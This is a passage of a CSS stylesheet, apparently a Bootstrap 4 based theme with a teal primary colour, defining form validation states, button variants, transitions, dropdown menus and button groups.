.invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n  color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n  color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n  background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n  background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n  -webkit-box-shadow: 0 0 0 1px #FFF, 0 0 0 0 rgba(220, 53, 69, 0.25);\n          box-shadow: 0 0 0 1px #FFF, 0 0 0 0 rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n  border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.25);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n      -ms-flex-flow: row wrap;\n          flex-flow: row wrap;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n}\n\n.form-inline .form-check {\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .form-inline label {\n    display: -webkit-box;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-align: center;\n        -ms-flex-align: center;\n            align-items: center;\n    -webkit-box-pack: center;\n        -ms-flex-pack: center;\n            justify-content: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-group {\n    display: -webkit-box;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-flex: 0;\n        -ms-flex: 0 0 auto;\n            flex: 0 0 auto;\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row wrap;\n            flex-flow: row wrap;\n    -webkit-box-align: center;\n        -ms-flex-align: center;\n            align-items: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-plaintext {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    width: auto;\n  }\n  .form-inline .form-check {\n    display: -webkit-box;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-align: center;\n        -ms-flex-align: center;\n            align-items: center;\n    -webkit-box-pack: center;\n        -ms-flex-pack: center;\n            justify-content: center;\n    width: auto;\n    padding-left: 0;\n  }\n  .form-inline .form-check-input {\n    position: relative;\n    margin-top: 0;\n    margin-right: 0.25rem;\n    margin-left: 0;\n  }\n  .form-inline .custom-control {\n    -webkit-box-align: center;\n        -ms-flex-align: center;\n            align-items: center;\n    -webkit-box-pack: center;\n        -ms-flex-pack: center;\n            justify-content: center;\n  }\n  .form-inline .custom-control-label {\n    margin-bottom: 0;\n  }\n}\n\n.btn {\n  display: inline-block;\n  font-weight: 700;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  border: 2px solid transparent;\n  padding: 0.375rem 0.75rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 3px;\n  -webkit-transition: background-color 0.3s ease-in-out, border-color 0.3s ease-in-out, -webkit-box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), -webkit-transform 0.2s cubic-bezier(0.35, 0, 0.25, 1);\n  transition: background-color 0.3s ease-in-out, border-color 0.3s ease-in-out, -webkit-box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), -webkit-transform 0.2s cubic-bezier(0.35, 0, 0.25, 1);\n  -o-transition: box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), transform 0.2s cubic-bezier(0.35, 0, 0.25, 1), background-color 0.3s ease-in-out, border-color 0.3s ease-in-out;\n  transition: box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), transform 0.2s cubic-bezier(0.35, 0, 0.25, 1), background-color 0.3s ease-in-out, border-color 0.3s ease-in-out;\n  transition: box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), transform 0.2s cubic-bezier(0.35, 0, 0.25, 1), background-color 0.3s ease-in-out, border-color 0.3s ease-in-out, -webkit-box-shadow 0.3s cubic-bezier(0.35, 0, 0.25, 1), -webkit-transform 0.2s cubic-bezier(0.35, 0, 0.25, 1);\n}\n\n.btn:hover, .btn:focus {\n  text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n  outline: 0;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn.disabled, .btn:disabled {\n  opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n  background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n.btn-primary {\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.btn-primary:hover {\n  color: #FFF;\n  background-color: #007065;\n  border-color: #00635a;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n          box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n  color: #FFF;\n  background-color: #00635a;\n  border-color: #00564e;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n          box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n}\n\n.btn-secondary {\n  color: #FFF;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n  color: #FFF;\n  background-color: #5a6268;\n  border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n          box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n  color: #FFF;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n  color: #FFF;\n  background-color: #545b62;\n  border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n          box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n  color: #FFF;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:hover {\n  color: #FFF;\n  background-color: #218838;\n  border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n  color: #FFF;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n  color: #FFF;\n  background-color: #1e7e34;\n  border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n  color: #FFF;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:hover {\n  color: #FFF;\n  background-color: #138496;\n  border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n          box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n  color: #FFF;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n  color: #FFF;\n  background-color: #117a8b;\n  border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n          box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:hover {\n  color: #212529;\n  background-color: #e0a800;\n  border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n          box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #d39e00;\n  border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n          box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n  color: #FFF;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:hover {\n  color: #FFF;\n  background-color: #c82333;\n  border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n  color: #FFF;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n  color: #FFF;\n  background-color: #bd2130;\n  border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n  color: #212529;\n  background-color: #e2e6ea;\n  border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n          box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n  color: #212529;\n  background-color: #dae0e5;\n  border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n          box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n  color: #FFF;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:hover {\n  color: #FFF;\n  background-color: #23272b;\n  border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n          box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n  color: #FFF;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n  color: #FFF;\n  background-color: #1d2124;\n  border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n          box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n  color: #009688;\n  background-color: transparent;\n  background-image: none;\n  border-color: #009688;\n}\n\n.btn-outline-primary:hover {\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n          box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n  color: #009688;\n  background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n  color: #FFF;\n  background-color: #009688;\n  border-color: #009688;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n          box-shadow: 0 0 0 0 rgba(0, 150, 136, 0.5);\n}\n\n.btn-outline-secondary {\n  color: #6c757d;\n  background-color: transparent;\n  background-image: none;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n  color: #FFF;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n          box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n  color: #FFF;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n          box-shadow: 0 0 0 0 rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n  color: #28a745;\n  background-color: transparent;\n  background-image: none;\n  border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n  color: #FFF;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n  color: #28a745;\n  background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n  color: #FFF;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n  color: #17a2b8;\n  background-color: transparent;\n  background-image: none;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n  color: #FFF;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n          box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n  color: #17a2b8;\n  background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n  color: #FFF;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n          box-shadow: 0 0 0 0 rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n  color: #ffc107;\n  background-color: transparent;\n  background-image: none;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n          box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n  color: #ffc107;\n  background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n          box-shadow: 0 0 0 0 rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n  color: #dc3545;\n  background-color: transparent;\n  background-image: none;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n  color: #FFF;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n  color: #dc3545;\n  background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n  color: #FFF;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n          box-shadow: 0 0 0 0 rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n  color: #f8f9fa;\n  background-color: transparent;\n  background-image: none;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n          box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n  color: #f8f9fa;\n  background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n          box-shadow: 0 0 0 0 rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n  color: #343a40;\n  background-color: transparent;\n  background-image: none;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n  color: #FFF;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n          box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n  color: #343a40;\n  background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n  color: #FFF;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n  -webkit-box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n          box-shadow: 0 0 0 0 rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n  font-weight: 400;\n  color: #009688;\n  background-color: transparent;\n}\n\n.btn-link:hover {\n  color: #004a43;\n  text-decoration: underline;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n  text-decoration: underline;\n  border-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n  color: #6c757d;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.09375rem;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.765625rem;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n}\n\n.btn-block + .btn-block {\n  margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n  -o-transition: opacity 0.15s linear;\n  transition: opacity 0.15s linear;\n}\n\n.fade.show {\n  opacity: 1;\n}\n\n.collapse {\n  display: none;\n}\n\n.collapse.show {\n  display: block;\n}\n\ntr.collapse.show {\n  display: table-row;\n}\n\ntbody.collapse.show {\n  display: table-row-group;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n  -o-transition: height 0.35s ease;\n  transition: height 0.35s ease;\n}\n\n.dropup,\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0;\n  border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 10rem;\n  padding: 0 0;\n  margin: 0 0 0;\n  font-size: 0.875rem;\n  color: #212529;\n  text-align: left;\n  list-style: none;\n  background-color: #FFF;\n  background-clip: padding-box;\n  border: 0 solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.dropup .dropdown-menu {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n\n.dropup .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0.3em solid;\n  border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n  margin-top: 0;\n  margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-bottom: 0.3em solid transparent;\n  border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n  vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n  margin-top: 0;\n  margin-right: 0;\n}\n\n.dropleft .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n  display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-right: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0.3em solid;\n  border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n  vertical-align: 0;\n}\n\n.dropdown-divider {\n  height: 0;\n  margin: 0.5rem 0;\n  overflow: hidden;\n  border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n  display: block;\n  width: 100%;\n  padding: 8px 20px;\n  clear: both;\n  font-weight: 400;\n  color: #212529;\n  text-align: inherit;\n  white-space: nowrap;\n  background-color: transparent;\n  border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n  color: #16181b;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  color: #FFF;\n  text-decoration: none;\n  background-color: #009688;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 0 20px;\n  margin-bottom: 0;\n  font-size: 0.765625rem;\n  color: #6c757d;\n  white-space: nowrap;\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: -webkit-inline-box;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  -webkit-box-flex: 0;\n      -ms-flex: 0 1 auto;\n          flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n  z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n  z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + 